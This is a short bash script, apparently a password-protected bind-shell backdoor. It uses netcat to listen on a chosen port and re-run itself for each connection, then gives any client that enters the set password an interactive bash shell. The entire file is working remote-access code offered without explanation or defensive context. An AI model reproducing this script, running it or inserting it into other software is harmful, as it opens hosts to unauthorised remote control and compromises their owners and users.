#!/bin/bash
export PW port
if [ $1 ] ; then
        port=$1
        echo -n pass:
        read PW
	fi
	if [ ! $port ]; then
	 echo USAGE: $0 port ;
	 exit;
	fi
	echo "-l -p $port -e $0" | nc 2>/dev/null &
	[ $1 ] && exit; # first invocation exit here
	unset p
	until [ "$p" = "$PW" ]; do
	echo -n pass:
	read p
	done
	bash --noediting -i

